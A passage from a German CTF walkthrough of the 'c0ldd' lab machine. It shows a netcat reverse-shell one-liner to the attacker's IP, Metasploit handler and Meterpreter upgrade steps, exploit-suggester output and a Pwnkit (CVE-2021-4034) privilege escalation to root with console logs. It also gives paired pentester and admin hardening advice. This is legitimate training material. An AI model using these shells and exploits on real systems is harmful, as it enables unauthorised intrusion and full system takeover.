**Empfehlung (Admin):** Stelle sicher, dass `/etc/shadow` nur für `root` lesbar ist (`-rw-------` oder `-rw-r-----` mit einer speziellen Gruppe).
-rw-r--r-- 1 root root 1620 Sep 24 2020 /etc/passwd
**Analyse:** Es wird in das Verzeichnis `/home` gewechselt und dann in das Unterverzeichnis `c0ldd`. Anschließend wird `ls -la` ausgeführt, um den Inhalt des Home-Verzeichnisses des Benutzers `c0ldd` anzuzeigen.
**Bewertung:** Das Home-Verzeichnis von `c0ldd` ist für den `www-data`-Benutzer lesbar. Interessant ist die Datei `user.txt`. Dies ist üblicherweise die Datei, die den User-Flag in CTF-Szenarien enthält. Die Berechtigungen (`-rw-rw----`) erlauben dem Besitzer (`c0ldd`) und der Gruppe (`c0ldd`) Lese- und Schreibzugriff. Da der `www-data`-Benutzer vermutlich nicht in der Gruppe `c0ldd` ist, kann er die Datei standardmäßig nicht lesen. Auch die `.bash_history` ist nicht lesbar.
**Empfehlung (Pentester):** Auch wenn die Datei `user.txt` nicht direkt lesbar ist, ist ihre Existenz ein wichtiger Hinweis. Notiere den Pfad. Versuche, die Rechte zu eskalieren oder den Benutzer zu `c0ldd` zu wechseln, um die Datei zu lesen.
**Empfehlung (Admin):** Home-Verzeichnisse sollten standardmäßig restriktive Berechtigungen haben (z.B. `drwxr-x---` oder `drwx------`), um den Zugriff durch andere Benutzer (einschließlich Webserver-Prozesse) zu verhindern. Flag-Dateien sollten entsprechend geschützt sein.
total 24 drwxr-xr-x 3 c0ldd c0ldd 4096 ct 19 2020 . drwxr-xr-x 3 root root 4096 Sep 24 2020 .. -rw------- 1 c0ldd c0ldd 0 ct 19 2020 .bash_history -rw-r--r-- 1 c0ldd c0ldd 220 Sep 24 2020 .bash_logout -rw-r--r-- 1 c0ldd c0ldd 0 ct 14 2020 .bashrc drwx------ 2 c0ldd c0ldd 4096 Sep 24 2020 .cache -rw-r--r-- 1 c0ldd c0ldd 655 Sep 24 2020 .profile -rw-r--r-- 1 c0ldd c0ldd 0 Sep 24 2020 .sudo_as_admin_successful -rw-rw---- 1 c0ldd c0ldd 53 Sep 24 2020 user.txt
**Analyse:** Dieser Befehl ist derselbe Payload, der zuvor verwendet wurde, um die initiale Reverse Shell zu bekommen, allerdings mit einem anderen Port (5355 statt 5555). Es wird versucht, eine weitere Reverse Shell zu starten.
**Bewertung:** Dies deutet darauf hin, dass eine zweite Shell, möglicherweise für Metasploit oder eine stabilere Verbindung, aufgebaut werden soll.
**Empfehlung (Pentester):** Es ist üblich, eine einfache `nc`-Shell für die Erstverbindung zu nutzen und dann eine Feature-reichere Shell (wie Meterpreter) über eine zweite Verbindung nachzuladen.
**Empfehlung (Admin):** Die gleichen Empfehlungen wie bei der ersten Reverse Shell gelten: Egress Filtering und Prozessüberwachung.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5355 >/tmp/f
**Analyse:** Im Metasploit Framework (`msfconsole`) wird der `multi/handler` verwendet. Dies ist ein generischer Listener, der auf eingehende Verbindungen von verschiedenen Payloads wartet. Es wird konfiguriert, um auf der Schnittstelle `eth0` (IP `192.168.2.137`) auf Port `5355` zu lauschen, passend zum zuvor auf dem Ziel ausgeführten Reverse-Shell-Befehl.
**Bewertung:** Der Handler wird korrekt konfiguriert und gestartet, um die eingehende Verbindung der zweiten Reverse Shell (die auf Port 5355 zielt) entgegenzunehmen.
**Empfehlung (Pentester):** Der `multi/handler` ist das Standardwerkzeug in Metasploit, um Reverse Shells (sowohl einfache als auch Meterpreter) zu empfangen. Stelle sicher, dass `LHOST` und `LPORT` korrekt auf die IP und den Port des Listeners gesetzt sind.
**Empfehlung (Admin):** Netzwerkerkennungssysteme (NIDS) können versuchen, Metasploit-Handler-Verbindungen oder bekannte Payload-Signaturen zu erkennen.
[*] Using configured payload generic/shell_reverse_tcp
Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command.
LHST => 192.168.2.137
LPORT => 5355
LPORT => 5355
[*] Started reverse TCP handler on 192.168.2.137:5355
**Analyse:** In der ersten Reverse Shell (`www-data`-Benutzer) wird versucht, die `.bash_history`-Datei im Home-Verzeichnis von `c0ldd` zu lesen. Dies schlägt fehl (`Permission denied`), was erwartet wurde, da `www-data` keine Leserechte hat. Der zweite Teil der Ausgabe (`i 2>&1|nc ...`) scheint ein Überbleibsel oder eine Fehlformatierung aus der Shell zu sein, wahrscheinlich ein Teil des Reverse-Shell-Befehls, der versehentlich ausgeführt oder angezeigt wurde.
**Bewertung:** Bestätigt die fehlenden Leserechte für `www-data` auf sensible Dateien im Home-Verzeichnis von `c0ldd`. Der zweite Teil der Ausgabe ist wahrscheinlich irrelevant.
**Empfehlung (Pentester):** Wenn der direkte Zugriff fehlschlägt, konzentriere dich auf Privilege Escalation oder den Wechsel zum Zielbenutzer.
**Empfehlung (Admin):** Korrekte Dateiberechtigungen sind wichtig, um Informationslecks zwischen Benutzern zu verhindern.
cat: .bash_history: Permission denied i 2>&1|nc 192.168.2.137 5355 >/tmp/frm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -
**Analyse:** Das Metasploit Post-Exploitation-Modul `multi/manage/shell_to_meterpreter` wird verwendet. Dieses Modul dient dazu, eine bestehende einfache Shell-Sitzung (wie die `nc`-Shell, die als Session 1 in Metasploit registriert wurde) in eine funktionsreichere Meterpreter-Sitzung zu "upgraden". Es wird konfiguriert, um einen neuen Handler auf Port 4433 zu starten (`set handler true`, `set lport 4433`) und auf die bestehende Session 1 angewendet (`set session 1`).
**Bewertung:** Das Upgrade ist erfolgreich. Metasploit lädt den Meterpreter-Payload auf das Zielsystem hoch und führt ihn aus. Eine neue Meterpreter-Session (Session 2) wird auf Port 4433 geöffnet. Meterpreter bietet deutlich mehr Möglichkeiten als eine einfache Shell (z.B. Dateitransfers, Port Forwarding, Screenshots, automatische Skripte).
**Empfehlung (Pentester):** Upgrade einfache Shells zu Meterpreter, wann immer möglich, um die Fähigkeiten während des Post-Exploitation-Prozesses zu erweitern.
**Empfehlung (Admin):** Verteidigungsmechanismen sollten versuchen, das Nachladen von Payloads (wie Meterpreter Stages) zu erkennen und zu blockieren. Prozessüberwachung kann die Ausführung ungewöhnlicher Binaries erkennen.
Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connect ion LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION yes The session to run this module on View the full module info with the info, or info -d command.
handler => true
lport => 4433
session => 1
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.137:4433 [*] Sending stage (1017704 bytes) to 192.168.2.119 [*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.119:42930) at 2023-06-30 16:43:18 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
**Analyse:** Das Metasploit Post-Exploitation-Modul `multi/recon/local_exploit_suggester` wird verwendet. Dieses Modul analysiert das Zielsystem (basierend auf der aktiven Meterpreter-Sitzung 2) und vergleicht dessen Konfiguration (OS, Kernel, installierte Software) mit einer Datenbank bekannter lokaler Privilege Escalation Exploits.
**Bewertung:** Der Suggester findet mehrere potenzielle Schwachstellen, die zur Privilege Escalation ausgenutzt werden könnten: * `bpf_sign_extension_priv_esc`: Eine Kernel-Schwachstelle. * `cve_2021_4034_pwnkit_lpe_pkexec`: Eine weit verbreitete Schwachstelle im `pkexec`-Utility (Teil von Polkit). Markiert als "The target is vulnerable." - sehr vielversprechend! * `glibc_realpath_priv_esc`: Eine Schwachstelle in der glibc. * `pkexec`: Ein generischer Exploit für pkexec (möglicherweise derselbe wie Pwnkit). * `su_login`: Möglicherweise eine Schwachstelle im `su`-Mechanismus.
**Empfehlung (Pentester):** Nutze den `local_exploit_suggester`, um schnell potenzielle Wege zur Privilege Escalation zu finden. Priorisiere Exploits, die als "vulnerable" oder sehr wahrscheinlich markiert sind. Pwnkit (CVE-2021-4034) ist hier der Top-Kandidat.
**Empfehlung (Admin):** Halte das System und alle installierten Pakete (insbesondere Kernel, glibc, Polkit/pkexec, sudo) auf dem neuesten Stand, um bekannte Privilege Escalation Schwachstellen zu schließen. Verwende Tools zur Schwachstellenanalyse auf den eigenen Systemen.
Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the avail able exploits View the full module info with the info, or info -d command.
session => 2
SHOWDESCRIPTION => false
[*] 192.168.2.119 - Collecting local exploits for x86/linux... [*] 192.168.2.119 - 186 exploit checks are being tried... [+] 192.168.2.119 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable. [+] 192.168.2.119 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable. [+] 192.168.2.119 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable. [+] 192.168.2.119 - exploit/linux/local/pkexec: The service is running, but could not be validated. [+] 192.168.2.119 - exploit/linux/local/su_login: The target appears to be vulnerable. [*] Running check method for exploit 58 / 58 [*] 192.168.2.119 - Valid modules for session 2: # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/bpf_sign_extension_priv_esc Yes The target appears to be vulnerable. 2 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable. 3 exploit/linux/local/glibc_realpath_priv_esc Yes The target appears to be vulnerable. 4 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 5 exploit/linux/local/su_login Yes The target appears to be vulnerable. [*] Post module execution completed
**Analyse:** Basierend auf der Empfehlung des `local_exploit_suggester` wird das Metasploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` ausgewählt. Dieses Modul nutzt die Pwnkit-Schwachstelle in `pkexec` aus, um Root-Rechte zu erlangen. Es wird konfiguriert, um auf der Meterpreter-Sitzung 2 (`set session 2`) ausgeführt zu werden. Ein neuer Listener für den Payload (standardmäßig `linux/x64/meterpreter/reverse_tcp`) wird auf Port 4444 (`set LPORT 4444`) auf der Angreifer-Maschine (`set LHST eth0`) eingerichtet. Das Verzeichnis `/tmp` wird als beschreibbares Verzeichnis für den Exploit festgelegt (`set WRITABLE_DIR /tmp`). Die Option `CMPILE` wird fälschlicherweise eingegeben, was zu einer Fehlermeldung führt, aber der Exploit läuft trotzdem.
**Bewertung:** Fantastisch, der Pwnkit-Exploit war erfolgreich! Metasploit bestätigt die Verwundbarkeit (`[+] The target is vulnerable.`), lädt die notwendigen Dateien hoch, führt den Exploit aus und öffnet eine neue Meterpreter-Sitzung (Session 3). Die anschließende Ausführung von `getuid` in dieser neuen Sitzung bestätigt: `Server username: root`. Wir haben vollständige Root-Rechte auf dem Zielsystem erlangt!
**Empfehlung (Pentester):** Pwnkit ist ein sehr zuverlässiger Exploit auf anfälligen Systemen. Nutze ihn, wenn der Suggester ihn anzeigt. Nach Erlangung von Root-Rechten, sichere den Zugang (z.B. SSH-Keys hinzufügen) und suche nach den finalen Flags.
**Empfehlung (Admin):** Patche das System umgehend gegen CVE-2021-4034 (Pwnkit)! Dies ist eine kritische Schwachstelle. Regelmäßiges Patch-Management ist unerlässlich.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.137 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command.
LHST => 192.168.2.137
LPORT => 4444
[!] Unknown datastore option: COMPILE. CMPILE => Auto
session => 2
WRITABLE_DIR => /tmp
[*] Started reverse TCP handler on 192.168.2.137:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.nvxezvnrkeyn [+] The target is vulnerable. [*] Writing '/tmp/.yrjeihtjur/grxsmjsv/grxsmjsv.so' (548 bytes) ... [!] Verify cleanup of /tmp/.yrjeihtjur [*] Sending stage (3045348 bytes) to 192.168.2.119 [+] Deleted /tmp/.yrjeihtjur/grxsmjsv/grxsmjsv.so [+] Deleted /tmp/.yrjeihtjur/.zepmgdhdbbs [+] Deleted /tmp/.yrjeihtjur [*] Meterpreter session 3 opened (192.168.2.137:4444 -> 192.168.2.119:53168) at 2023-06-30 16:47:53 +0200
Server username: root
**Analyse:** Nach Erlangung der Root-Rechte wird der Inhalt des `/root`-Verzeichnisses mit dem Meterpreter-Befehl `ls -la` aufgelistet.
**Bewertung:** Die Auflistung zeigt verschiedene Konfigurationsdateien und Verzeichnisse im Home-Verzeichnis des Root-Benutzers. Am wichtigsten ist die Datei `root.txt`, die typischerweise den Root-Flag enthält.
**Empfehlung (Pentester):** Das `/root`-Verzeichnis ist das primäre Ziel nach der Eskalation zu Root. Suche hier nach Flags, SSH-Keys, Skripten oder anderen sensiblen Informationen.
**Empfehlung (Admin):** Schütze sensible Daten auch im `/root`-Verzeichnis, obwohl der Root-Benutzer ohnehin vollen Zugriff hat. Flags sollten keine kritischen Systemfunktionen beeinträchtigen.
Listing: /root/ ================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100600/rw------- 10 fil 2020-10-19 18:53:13 +0200 .bash_history 100644/rw-r--r-- 0 fil 2020-10-14 13:28:09 +0200 .bashrc 040700/rwx------ 4096 dir 2020-09-24 18:52:45 +0200 .cache 100600/rw------- 220 fil 2020-09-24 17:02:20 +0200 .mysql_history 040755/rwxr-xr-x 4096 dir 2020-09-24 16:54:30 +0200 .nano 100644/rw-r--r-- 148 fil 2015-08-17 17:30:33 +0200 .profile 100644/rw-r--r-- 49 fil 2020-09-24 18:23:04 +0200 root.txt
**Analyse:** Der Inhalt der Datei `root.txt` wird mit dem Meterpreter-Befehl `cat` ausgelesen.
**Bewertung:** Der Inhalt der `root.txt` ist der String `wqFGZWxpY2lkYWRlcywgbchcXVpbmEgY29tcGxldGFkYSE=`. Dies sieht nach einer Base64-Kodierung aus.
**Empfehlung (Pentester):** Gib den Inhalt von Flag-Dateien aus. Wenn der Inhalt kodiert aussieht (wie hier Base64), dekodiere ihn.
**Empfehlung (Admin):** Flags in CTFs sind oft kodiert. In realen Szenarien sollten sensible Daten verschlüsselt, nicht nur kodiert sein.
wqFGZWxpY2lkYWRlcywgbchcXVpbmEgY29tcGxldGFkYSE=
**Analyse:** Der Base64-kodierte String aus `root.txt` wird auf der lokalen Angreifer-Maschine mit `echo -n ... | base64 -d` dekodiert. `echo -n` verhindert einen Zeilenumbruch, und `base64 -d` führt die Dekodierung durch.
**Bewertung:** Die Dekodierung ergibt den spanischen Text "Felicidades, máquina completada!", was "Herzlichen Glückwunsch, Maschine abgeschlossen!" bedeutet. Dies ist der finale Root-Flag.
**Empfehlung (Pentester):** Verwende Tools wie `base64`, CyberChef oder Online-Dekoder, um gefundene kodierte Strings zu analysieren.
**Empfehlung (Admin):** Kodierung bietet keine Sicherheit. Verwende Verschlüsselung für sensible Daten.
Felicidades, máquina completada!
**Analyse:** Eine einfache Bestätigung, dass die Privilege Escalation erfolgreich war.
**Bewertung:** Der Erhalt von Root-Rechten ist das primäre Ziel bei den meisten Penetrationstests von Linux-Systemen.
**Empfehlung (Pentester):** Dokumentiere den erfolgreichen Root-Zugriff klar im Bericht.
**Empfehlung (Admin):** Analysiere den Angriffsvektor, um die Schwachstellen zu schließen und zukünftige Kompromittierungen zu verhindern.
-------------------------------------------------------------------------------------------- Privilege Escalation erfolgreich --------------------------------------------------------------------------------------------
**Analyse:** Die Datei `user.txt` wurde im Home-Verzeichnis des Benutzers `c0ldd` gefunden. Ihr Inhalt stellt typischerweise den User-Flag dar.
**Bewertung:** Der User-Flag beweist den erfolgreichen Zugriff auf das Benutzerkonto `c0ldd`, auch wenn der Inhalt hier nicht explizit ausgelesen wurde (nur die Existenz und Berechtigungen wurden geprüft).
**Empfehlung (Pentester):** Nach Erlangen von Benutzerrechten oder höherwertigen Rechten, die Lesezugriff erlauben, den Inhalt der Flag-Datei auslesen.
**Empfehlung (Admin):** Flag-Dateien sollten entsprechend den Berechtigungen des zugehörigen Benutzers geschützt werden.
**Analyse:** Die Datei `root.txt` wurde im Home-Verzeichnis des Root-Benutzers gefunden und ausgelesen. Der Inhalt ist Base64-kodiert.
**Bewertung:** Dies ist der Root-Flag, der den erfolgreichen Abschluss der Privilege Escalation zum höchsten Benutzerlevel bestätigt.
**Empfehlung (Pentester):** Immer den Root-Flag nach erfolgreicher Eskalation suchen und dokumentieren.
**Empfehlung (Admin):** Das Vorhandensein des Root-Flags ist in CTFs üblich, in realen Systemen sollten hier stattdessen die identifizierten Schwachstellen behoben werden.
Felicidades, máquina completada!
**Analyse:** Der Base64-kodierte Root-Flag wird dekodiert, um die eigentliche Nachricht anzuzeigen.
**Bewertung:** Enthüllt die finale Erfolgsmeldung.
**Empfehlung (Pentester):** Immer auf Kodierungen prüfen und diese dekodieren.
**Empfehlung (Admin):** Fokus auf die Behebung der Sicherheitslücken legen, nicht auf die Obfuskation der Flags.
(Google Übersetzung: Herzlichen Glückwunsch, komplette Maschine!)